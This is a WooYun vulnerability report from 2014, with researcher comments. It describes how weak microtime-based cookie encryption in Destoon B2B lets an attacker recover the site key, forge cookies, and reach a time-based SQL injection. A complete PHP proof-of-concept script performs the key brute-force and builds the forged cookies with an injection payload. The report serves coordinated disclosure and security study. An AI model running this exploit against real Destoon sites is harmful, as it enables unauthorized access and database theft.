当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(47) 关注此漏洞

缺陷编号: WooYun-2014-62391

漏洞标题: Destoon B2B 2014-05-21最新版绕过全局防御暴力注入(官方Demo可重现)

相关厂商: DESTOON

漏洞作者: 索马里的海贼

提交时间: 2014-05-26 16:42

公开时间: 2014-08-24 16:44

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

8人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-26: 细节已通知厂商并且等待厂商处理中
2014-05-29: 厂商已经确认,细节仅向厂商公开
2014-06-01: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-07-23: 细节向核心白帽子及相关领域专家公开
2014-08-02: 细节向普通白帽子公开
2014-08-12: 细节向实习白帽子公开
2014-08-24: 细节向公众公开

简要描述:

destoon某加密函数缺陷可破解导致注入
由于字符串加密,所以自带的全局strip_sql gpc等直接无视了
使用不安全的“随机数”的实例
搬个小凳子吧,这个一时半会儿说不完。。。

详细说明:

出问题的是用于cookie加解密的encrypt和decrypt函数

首先看一下函数内容include/global.func.php 122行

code 区域
function encrypt($txt, $key = '') {
$key or $key = DT_KEY; //DT_KEY是在安装时生成的一个15位随机字符串
$rnd = md5(microtime());//缺陷 下面说
$len = strlen($txt);
$ren = strlen($rnd);
$ctr = 0;
$str = '';
for($i = 0; $i < $len; $i++) {
$ctr = $ctr == $ren ? 0 : $ctr;
$str .= $rnd[$ctr].($txt[$i] ^ $rnd[$ctr++]); //只是简单的按位异或
}
return str_replace('=', '', base64_encode(kecrypt($str, $key)));
}

function decrypt($txt, $key = '') {
$key or $key = DT_KEY; //这里才用到key
$txt = kecrypt(base64_decode($txt), $key);
$len = strlen($txt);
$str = '';
for($i = 0; $i < $len; $i++) {
$tmp = $txt[$i];
$str .= $txt[++$i] ^ $tmp; //也是异或
}
return $str;
}



粗看有随机数、有随机时间值、还做md5hash再异或好像很安全的样子

因为有两个未知key md5(microtime())和DT_KEY

等等 真的是两个么?搜一下microtime()的定义

定义和用法

microtime() 函数返回当前 Unix 时间戳和微秒数。

例子

code 区域
<?php
echo(microtime());
?>



输出

code 区域
0.25139300 1138197510



时间戳好说 http头中有个date值就是,微秒嘛后面两位固定为00前面有6位不可预知

6位也就是100W个可能,只要穷举100W次肯定有一次是正确的key(不要被100W吓到,本地跑起来是很快的)

再来看encrypt函数 简单表示一下

加密前的原文txt = a

microtime生成的key = b

md5(DT_KEY) = c

最后生成的密文 = d

整个流程简单来说就是

code 区域
a^b = x
x^c = d



现在b是已知的 如果能找到一个原文和密文的对照 也就是a和d

那就可以通过abd来推算出c 也就是key

destoon很贴心的写了一段正好符合要求的代码

include/module.func.php 140行

code 区域
function anti_spam($string) {
global $MODULE, $DT;
if($DT['anti_spam'] && preg_match("/^[a-z0-9_@\-\s\/\.\,\(\)\+]+$/i", $string)) {
do {
$tmp = encrypt($string); //加密
if(strpos($tmp, '0x') === false) break;
} while(1);
return '<img src="'.$MODULE[3]['linkurl'].'image.php?auth='.rawurlencode($tmp).'" align="absmddle"/>';//输出
} else {
return $string;
}
}



这个函数的功能是“将电话、传真、Email等重要信息显示为图片格式,防止采集和复制”

调用示范

code 区域
{if $member[mail]}<li><span>邮件</span>{anti_spam($member[mail])}</li>{/if}
{if $member[telephone]}<li><span>电话</span>{anti_spam($member[telephone])}</li>{/if}
{if $member[fax]}<li><span>传真</span>{anti_spam($member[fax])}</li>{/if}



没有比这个更好的输出点了,没有任何干扰。

这里拿官方demo做演示,随便找家公司查看联系方式

http://**.**.**.**/contact/

1.jpg



Mon, 26 May 2014 07:12:43 GMT 转成unix时间戳并加8个小时为1401088363

2.jpg



运气不错 15W多次就出来了 总共脚本运行时间大概就2秒

到这里 我们已经拿到了MD5后的DT_KEY,那么怎么来用这个key呢

跑MD5来还原真实的KEY也是一种思路,不过15位大小写+数字的彩虹表还是蛮大的。

回去搜了一下encrypt和decrypt函数的调用,找到了cookie的加解密

module/member/member.class.php 行376

code 区域
$auth = encrypt($user['userid']."\t".$user['username']."\t".$user['groupid']."\t".$user['password']."\t".$user['admin'], md5(DT_KEY.$_SERVER['HTTP_USER_AGENT']));
set_cookie('auth', $auth, $cookietime);
set_cookie('userid', $user['userid'], $cookietime);
set_cookie('username', $user['username'], $DT_TIME + 86400*365);



登录完成后setcookie的地方,可以看到 cookie是用 userid{制表符}username{制表符}groupid{制表符}password{制表符}admin拼起来然后用

md5(DT_KEY+useragent)作为密钥用encrypt函数做加密的

小伙伴们都知道 user-agent是客户端提交的,如果我提交个空的user-agent,cookie就会用md5(DT_KEY)作为密钥,是不是很眼熟呢,这个就是我们上一步跑出来的东西。

现在我们已经可以伪造出任意合法的cookie了,一般到这里漏洞就要结束了

可惜destoon没想那么简单(已经很麻烦了)把rank给我,我们来看看cookie的验证过程

/common.inc.php行135

code 区域
$destoon_auth = get_cookie('auth');
if($destoon_auth) {
$_dauth = explode("\t", decrypt($destoon_auth, md5(DT_KEY.$_SERVER['HTTP_USER_AGENT'])));//解密也是用的DT_KEY+user-agent
$_userid = isset($_dauth[0]) ? intval($_dauth[0]) : 0;
$_username = isset($_dauth[1]) ? trim($_dauth[1]) : '';
$_groupid = isset($_dauth[2]) ? intval($_dauth[2]) : 3;
$_admin = isset($_dauth[4]) ? intval($_dauth[4]) : 0;
if($_userid && !defined('DT_NONUSER')) {
$_password = isset($_dauth[3]) ? trim($_dauth[3]) : '';
$USER = $db->get_one("SELECT username,passport,company,truename,password,groupid,email,message,chat,sound,online,sms,credit,money,loginip,admin,aid,edittime,trade FROM {$DT_PRE}member WHERE userid=$_userid");
if($USER && $USER['password'] == $_password) { //居然验证密码了...cookie伪造在这里失败了



不死心继续搜索decrypt的调用,终于又发现了一个问题

module/member/admin.inc.php

code 区域
<?php 
defined('IN_DESTOON') or exit('Access Denied');
$admin_user = false;
if($_groupid == 1) {
$admin_user = decrypt(get_cookie('admin_user'));
if($admin_user) {
$_USER = explode('|', $admin_user); //cookie格式 uid|uname
if($_username = $_USER[1]) {
$userid = $_USER[0];// userid来自cookie 且经过decrypt 无视防御
$USER = $db->get_one("SELECT username,passport,company,truename,password,groupid,email,message,chat,sound,online,sms,credit,money,loginip,admin,aid,edittime,trade FROM {$DT_PRE}member WHERE userid=$userid");//userid直接进sql
if($USER) {
$_userid = $userid;
extract($USER, EXTR_PREFIX_ALL, '');
$MG = cache_read('group-'.$_groupid.'.php');
$admin_user = true;
}
}
}
}
?>



很明显的一个注入点,虽然Destoon默认不开启DEBUG,不显示错误信息,但我们一样可以用时间延迟来注入。

来看看注入的条件,首先进入查询的前提是$_groupid == 1

来看这个文件的调用,还是在/common.inc.php行135

code 区域
$destoon_auth = get_cookie('auth');
if($destoon_auth) {
$_dauth = explode("\t", decrypt($destoon_auth, md5(DT_KEY.$_SERVER['HTTP_USER_AGENT'])));
$_userid = isset($_dauth[0]) ? intval($_dauth[0]) : 0;
$_username = isset($_dauth[1]) ? trim($_dauth[1]) : '';
$_groupid = isset($_dauth[2]) ? intval($_dauth[2]) : 3; //来自cookie 可以伪造
$_admin = isset($_dauth[4]) ? intval($_dauth[4]) : 0;
if($_userid && !defined('DT_NONUSER')) { //如果进入这个if就失败
$_password = isset($_dauth[3]) ? trim($_dauth[3]) : '';
$USER = $db->get_one("SELECT username,passport,company,truename,password,groupid,email,message,chat,sound,online,sms,credit,money,loginip,admin,aid,edittime,trade FROM {$DT_PRE}member WHERE userid=$_userid");
if($USER && $USER['password'] == $_password) {
if($USER['groupid'] == 2) dalert(lang('message->common_forbidden'));
extract($USER, EXTR_PREFIX_ALL, ''); //伪造的groupid被覆盖
if($USER['loginip'] != $DT_IP && ($DT['ip_login'] == 2 || ($DT['ip_login'] == 1 && IN_ADMIN))) {
$_userid = 0; set_cookie('auth', '');
dalert(lang('message->common_login', array($USER['loginip'])), DT_PATH);
}
} else {
$_userid = 0; //置0
if($db->linked && !isset($swfupload) && strpos($_SERVER['HTTP_USER_AGENT'], 'Flash') === false) set_cookie('auth', '');
}
unset($destoon_auth, $USER, $_dauth, $_password);
}
}
if($_userid == 0) { $_groupid = 3; $_username = ''; } //如果userid==0就设置groupid为3
if(!IN_ADMIN) {
if($_groupid == 1) include DT_ROOT.'/module/member/admin.inc.php'; //如果到了这里$_groupid还是1 就包含





这个地方纠结很久 差点都放弃了 不管cookie里userid和groupid改成什么只要流程进了第一个if就废了

userid跟password匹配的话,groupid就会被extract覆盖,userid跟password不匹配的话进入else userid会被置0

不进入这个if的方法 一是userid为false 二就是NT_NONUSER,搜了一下发现一个很合适的文件。

api/js.php

code 区域
define('DT_NONUSER', true);		//符合要求
if($_SERVER['QUERY_STRING']) {
$exprise = isset($_GET['tag_expires']) ? intval($_GET['tag_expires']) : 0;
$moduleid = isset($_GET['moduleid']) ? intval($_GET['moduleid']) : 0;
$moduleid > 3 or exit('document.write("<h2>Bad Parameter</h2>");'); //moduleid<3会退出
$tag = $_SERVER['QUERY_STRING'];
$_SERVER['QUERY_STRING'] = $_SERVER['REQUEST_URI'] = '';
foreach($_GET as $k=>$v) { unset($$k); }
$_GET = array();
require '../common.inc.php'; //包含了!
header("Content-type:text/javascript");
($DT['jstag'] && $DT['safe_domain'] && check_referer()) or exit('document.write("<h2>Invalid Referer</h2>");');



只要get moduleid>3就能带着我们的DT_NONUSER包含common.inc.php从而进入admin.inc.php的包含最终实现注入了





漏洞证明:

1、首先随便找个公司主页查看联系方式,需要记录3样东西:时间戳、原文、密文

2、将以上信息填入POC,运行POC获取cookie

3.5.jpg



3、用上一步生成的cookie去访问/api/js.php?moduleid=5,记得user-agent要设置为空

为了方便演示我这里把debug打开了 报错信息里能看到我们的注入语句

3.jpg





poc:(这个poc还有很多问题,比如它获取第一个符合正则的key就停止了 事实上有可能会碰上正好符合正则却不是真正key的情况,只要多获取几组数据看相同的就能找出真正的md5(DT_KEY))



code 区域
<?php
printf("---------------------------------------------------
Destoon B2B V5.0 weak encryption Vulnerability
Author: Matt
E-mail: root@qaz.me
---------------------------------------------------\n\n");


$time = "1401088826";//服务器返回的时间 记得GMT要加8小时
$txt = "admin88@**.**.**.**";//原始文本
$result = "WWFfPgdtWGcAbwJtCmNVQFc0VDRRaQNqDSZSeF1nVWVTZw";//密文

$md5key = crack($time,$txt,$result);
echo "[+]key found:".$md5key."\n";
echo "[+]------------------------------------------------\n";
echo "[+]Cookie:\n";
//以下这些除了uid和groupid其它都无所谓
$uid = "1";
$uname = "matt";
$groupid = "1"; //groupid = 1 包含
$password = "asdf";
$admin = "0";
$cookie = $uid."\t".$uname."\t".$groupid."\t".$password."\t".$admin;

$admin_user = '1xxxxx\'|asdf'; // “|”前写注入语句

echo "coe_auth=".encrypt($cookie, $md5key);
echo ";coe_admin_user=".encrypt($admin_user, $md5key, '1')."\n";

function decrypt($txt, $key = '') {
$txt = kecrypt(base64_decode($txt), $key);
$len = strlen($txt);
$str = '';
for($i = 0; $i < $len; $i++) {
$tmp = $txt[$i];
$str .= $txt[++$i] ^ $tmp;
}
return $str;
}

function encrypt($txt, $key = '',$md5 = '0') {
$rnd = md5(microtime());
$len = strlen($txt);
$ren = strlen($rnd);
$ctr = 0;
$str = '';
for($i = 0; $i < $len; $i++) {
$ctr = $ctr == $ren ? 0 : $ctr;
$str .= $rnd[$ctr].($txt[$i] ^ $rnd[$ctr++]);
}
return str_replace('=', '', base64_encode(kecrypt($str, $key, $md5)));
}


function kecrypt($txt, $key, $md5) {
$key = $md5 == "0" ? md5($key) : $key;
$len = strlen($txt);
$ken = strlen($key);
$ctr = 0;
$str = '';
for($i = 0; $i < $len; $i++) {
$ctr = $ctr == $ken ? 0 : $ctr;
$str .= $txt[$i] ^ $key[$ctr++];
}
return $str;
}


function crack($time,$txt,$result){
for ($a=1; $a < 999999; $a++) {
if ($a%10000 == 0) {
echo ".";
}
if ($a%100000 == 0) {
echo $a."\n";
}
$m = str_repeat(0, 6 - strlen($a)).$a;
$rnd = md5("0.".$m."00 ".$time);
$len = strlen($txt);
$ren = strlen($rnd);
$ctr = 0;
$str = '';
for($i = 0; $i < $len; $i++) {
$ctr = $ctr == $ren ? 0 : $ctr;
$str .= $rnd[$ctr].($txt[$i] ^ $rnd[$ctr++]);
}
$key = '';
$tmp = base64_decode($result);
$x = 0 ;
for ($k=0; $k < strlen($tmp); $k++) {
$x = $x == 32 ? 0 : $x;
$key .= $tmp[$k] ^ $str[$x++];
}
if (preg_match("/[a-f,0-9]{32,}/", $key)) {
echo "$a\n";
return substr($key, 0,32);
break;
}
}
}
?>

修复方案:

microtime不安全

版权声明:转载请注明来源 索马里的海贼@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-05-29 11:00

厂商回复:

感谢反馈 我们会尽快修复

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-05-26 17:51 | U神 ( 核心白帽子 | Rank:1360 漏洞数:150 | 乌云核心菜鸟,联盟托管此号中,欢迎加入08...)
    1

    就拿英文来说吧,好歹是大学生,三个字“JJ Fly”(屌飞了)

  2. 2014-05-26 17:57 | mramydnei ( 普通白帽子 | Rank:400 漏洞数:87 )
    0

    鲁大师发飙了啊

  3. 2014-05-26 17:58 | phith0n 认证白帽子 ( 普通白帽子 | Rank:804 漏洞数:125 | 一个想当文人的黑客~)
    0

    我前段时间也注意了。。但我不会啊,他那加密算法太坑了,不过我不会分析算法。。。弄了半天没出来,就放弃了。。。

  4. 2014-05-26 17:59 | ′ 雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    0

    @phith0n 师傅 继续带我分析

  5. 2014-05-26 18:30 | 索马里的海贼 ( 普通白帽子 | Rank:264 漏洞数:25 | http://tieba.baidu.com/f?kw=WOW)
    0

    @mramydnei 嘘。。。不是我。。

  6. 2014-05-26 18:31 | 索马里的海贼 ( 普通白帽子 | Rank:264 漏洞数:25 | http://tieba.baidu.com/f?kw=WOW)
    0

    @phith0n 算法出来实际利用也是一个坑啊。。。一把辛酸泪,差点就放弃了

  7. 2014-05-26 18:33 | mramydnei ( 普通白帽子 | Rank:400 漏洞数:87 )
    0

    @索马里的海贼 haha

  8. 2014-05-26 19:39 | secgov ( 路人 | Rank:10 漏洞数:3 | 安全审计,漏洞挖掘,WAF. 提醒大家揭露漏洞...)
    0

    这个程序漏洞还真 多

  9. 2014-05-29 14:53 | 小红猪 ( 普通白帽子 | Rank:322 漏洞数:58 | little red pig!)
    0

    搬个小凳子吧,这个一时半会儿说不完。。。 O(∩_∩)O哈哈~

  10. 2014-06-25 09:21 | xfkxfk 认证白帽子 ( 核心白帽子 | Rank:2299 漏洞数:351 | 呵呵!)
    0

    不错哦,给力

  11. 2014-06-25 09:25 | 索马里的海贼 ( 普通白帽子 | Rank:264 漏洞数:25 | http://tieba.baidu.com/f?kw=WOW)
    0

    @xfkxfk 大神你就不要笑话我了

  12. 2014-06-25 09:31 | xfkxfk 认证白帽子 ( 核心白帽子 | Rank:2299 漏洞数:351 | 呵呵!)
    0

    @索马里的海贼 看了几个你对算法问题漏洞的分析,挺不错哦,顶个!

  13. 2014-06-25 10:06 | 索马里的海贼 ( 普通白帽子 | Rank:264 漏洞数:25 | http://tieba.baidu.com/f?kw=WOW)
    0

    @xfkxfk 算法问题坑脑细胞,好几天没睡好了

  14. 2014-06-25 10:09 | 小川 认证白帽子 ( 核心白帽子 | Rank:1583 漏洞数:236 | 一个致力要将乌云变成搞笑论坛的男人)
    0

    @索马里的海贼 真是太精彩了

  15. 2014-06-25 10:33 | 索马里的海贼 ( 普通白帽子 | Rank:264 漏洞数:25 | http://tieba.baidu.com/f?kw=WOW)
    0

    @小川 补个闪电?

  16. 2014-06-25 13:16 | pandas ( 普通白帽子 | Rank:701 漏洞数:79 | 国家一级保护动物)
    0

    原来这才是真正的matt

  17. 2014-08-24 19:18 | loopx9 认证白帽子 ( 普通白帽子 | Rank:789 漏洞数:80 | ..)
    0

    @索马里的海贼 看了官方补丁,microtime改成了随机字符串,发现还可以破解出异或key,但找不到利用的地方。解密之后都intval了。

登录后才能发表评论,请先 登录